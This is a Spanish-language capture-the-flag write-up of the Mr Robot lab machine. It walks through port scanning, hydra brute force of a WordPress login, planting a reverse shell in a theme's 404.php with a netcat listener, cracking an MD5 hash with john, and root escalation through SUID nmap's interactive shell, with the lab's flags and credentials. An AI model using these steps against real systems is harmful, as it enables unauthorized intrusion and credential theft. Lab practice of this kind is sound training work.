**RESOLUCIÓN MÁQUINA MR ROBOT**
**Alfonso Javier Gil Llamas**
**9/4/2026**

**netdiscover**
192.168.1.36
08:00:27:20:a6:6c

**nmap -A -T5 -sV -p- 192.168.1.36**
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd

**dirb http://192.168.1.36**
Encontramos http://192.168.1.36/**robots.txt** donde marca cosas interesante
User-agent: *
**fsocity.dic**
**key-1-of-3.txt**
También vemos que es un wp donde existe un formulario de administración:
**http://192.168.1.36/wp-login.php**

**fsocity.dic es un diccionario** que descargamos, vemos que tiene más de **800000** palabras **muchas repetidas** por lo que decidimos **ordenar y filtrar con el comando**

**cat palabras.dic | sort | uniq > pass.txt**

Comando que muestra todo el ficheros con cat, el resultada se lo pasa a sort que lo ordenada de forma alfabética y el resultado se lo pasa a uniq que es un comando que elimina todas las líneas repetidas, el resultado de la encadenación se redirige a pass.txt donde encontramos un fichero ya con solo **14500** referencias, palabras.
**key-1-of-3.txt es la primera bandera pero intrascendente:**
**073403c8a58a1f80d943455fb30724b9**

El siguiente paso y con todo lo que hemos encontrado es hacer f**uerza bruta sobre el formulario del wp** para intentar encontrar el usuario, dado que el formulario muestra errores diferentes en función del fallo:
Muestra en parte del html "Invalid username" para esto se puede usar hydra, wpscan, burpsuite o incluso desarrollar a medida, comandos:
**wpscan --update (actualiza la base de datos del comando wpscan)**
**wpscan --url http://192.168.1.36/ -e u (intenta enumerar todo, temas, plugins, vulnerabilidades, usuario, etc) pero no conseguimos mucho**

Pasamos a **hydra:**
**hydra -L pass.txt -p test 192.168.1.36 http-post-form "/wp-login.php/:log=^USER^&pwd=^PASS^:Invalid username"**
Siendo -L pass.txt la lista que hemos descargado y filtrado y se la pasamos como lista de usuario, -p usamos la palabra test como password único y mientras encuentre "Invalid username" que sigua buscando
Encontramos el usuario "**elliot**" nombre del personaje principal de la serie Mr Robot
Con esto intentamos encontrar el password de elliot, de nuevo con wpscan pero también con hydra... comandos:
Recordar que tras probar en el formulario elliot con test el mensaje de error es diferentes y usamos "The password you entered" cuando es enviado en el html para seguir buscando.

**hydra  -l elliot -P pass.txt 192.168.1.36 http-post-form "/wp-login.php/:log=^USER^&pwd=^PASS^:The password you entered for the username elliot is incorrect"**

**wpscan --url http://192.168.1.36/ -e -P pass.txt -U elliot (Funciona)**
Login del wp
**http://192.168.1.36/wp-login.php**
**usuario wp: elliot**
****** password wp: ER28-0652**

**Entramos en WP e intentamos un shell reverse utilizando el editor de WP, modificando el fichero 404.php de error...**
Podemos usar muchas para php... en **https://www.revshells.com/ o en https://gtfobins.org/**
Una shell reverse es algo así como ssh, pero al reves... en lugar del cliente pedir al servidor una conexión, lo que se hace es preparar al cliente con el comando nc a la escucha en un puerto de nuestra selección, esperando a que el servidor conecte, para eso inyectamos en el servidor en este caso en un ejecutable de php un código (shell reverse) que hace que se conecte una vez ejecutamos, RECOMIENDO USAR **https://www.revshells.com/**

También interesa probar un webshell:
https://raw.githubusercontent.com/tennc/webshell/master/php/PHPshell/c99/c99.php
Pillo el puerto 9002 y tras preparar el php y ejecutar en un terminar como root:
**nc -lvnp 9002**
Ejecutamos el php... **http://192.168.1.36/0/no.html** (es un ejemplo, funciona con cualquier cosa que no exista)
Una vez lanzamos tenemos shell (no completo)

comando: **python -c 'import pty; pty.spawn("/bin/bash")'**
Para obtener una terminan más interactivo

Investigando parece que existe un **usuario llamado robot y en su home tenemos**
**/home/robot/key-2-of-3.txt**
**/home/robot/password.raw-md5**
**y podemos abrir este último fichero con un hash: robot:c3fcd3d76192e4007dfb496cca67e13b**
**Lo copiamos en nuestro sistema en un fichero llamado robot.txt y empezamos a intentar:**
**contenido de robot.txt: c3fcd3d76192e4007dfb496cca67e13b**

Usamos varias alternativas para intentar exponer el pass del hash:
john hashrobot.txt --wordlist=pass.txt --format=raw-md5
Este comando es infructuoso... básicamente intenta usar el mismo diccionario descargado al principio y la bandera --format se le manda el formato, que tras investigar es el bandera adecuada

Se pueden usar sitios como **CrackStation.net** o hashes.com para encontrar el pass de un md5
CrackStation.net nos dice que para c3fcd3d76192e4007dfb496cca67e13b la clave es:
**abcdefghijklmnopqrstuvwxyz**
Con john:

**john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt robot.txt**
**Encuentra un pass, pero no lo vemos, para verlo usamos el comando**
**john --show  --format=Raw-MD5 robot.txt**
**Y también da como pass: abcdefghijklmnopqrstuvwxyz**

Volvemos a la shell reverse abierta, recordar que habíamos ejecutado el python3 para obtener una terminal interactiva, por lo que ahora si debería funcionar, comando:
**su robot**
Nos pides el **pass: abcdefghijklmnopqrstuvwxyz**
Y ahora sí!!!!
Estamos logeados como robot... por lo que deberíamos leer la segunda bandera:

**cat key-2-of-3.txt**
**822c73956184f694993bede3eb39f959**

De momento no sabemos para que sirve o si sirve para algo, en general estás maquinas suelen ser juegos, y cada vez que encuentras una bandera debes enviar este código para verificar que lo has encontrado, en nuestro caso puede ser intrascendente.

Como ahora ya tenemos mejor terminal... vamos a intentar un LIMPEAS también hay otro que es LINENUM
**web LIMPEAS con las instrucciones:**
**https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS**

No puedo descargar dado que no tengo permisos de escritura en mi directorio /home/robot/, examinando veo que el directorio **/tmp si los tiene lugar donde lo descargo**, pero me da fallos del certificado ssl, por lo que al final consigo descarga con el siguiente comando:
**wget --no-check-certificate**
**https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64**
Es un binario, por lo que tengo que darle permisos de ejecución
**chmod +x linpeas_linux_amd64**
Y ejecutar con (no se ve nada y se debe tener paciencia, al final muestra todo de golpe, cuando pide pass para root omitir dando intro)
**./linpeas_linux_amd64**

**Alternativamente también podemos usar el comando o variantes similares para encontrar ficheros SUID**
**find / -perm -u=s -type f 2>/dev/null**

Verificamos todo lo que podamos pero siempre es interesante hechar un vistazo a los ficheros SUID y ver si se puede explotar de alguna forma mirando en https://gtfobins.org/

Como era de esperar en estos casos:
**-rwsr-xr-x 1 root root 493K Nov 13  2015 /usr/local/bin/nmap**
**CONOCIDA APLICACIÓN para tod@s, tiene permisos SUID**

Ambas opciones linpeas y find, dan a nmap como SUID

Buscando en gtfoboins.org para nmap shell, hay algo así como un comando que te permite entrar en un shell de nmap que permite enviar comandos del sistema, se puede ver en:
**https://gtfobins.org/gtfobins/nmap/#shell**

**nmap --interactive**

**!/bin/sh**

**Una vez dentro ejecuto whoami y BOOOMM soy root**

Por intuición busco la tercera bandera... key-3-of-3.txt siguiendo los nombres anteriores, uso el comando:
**find / -type f -name "key-3-of-3.txt"**

Lo encuenta en /root/key-3-of-3.txt

**cat /root/key-3-of-3.txt**
**04787ddef27c3dee1ee161b21670b4e4**

FIN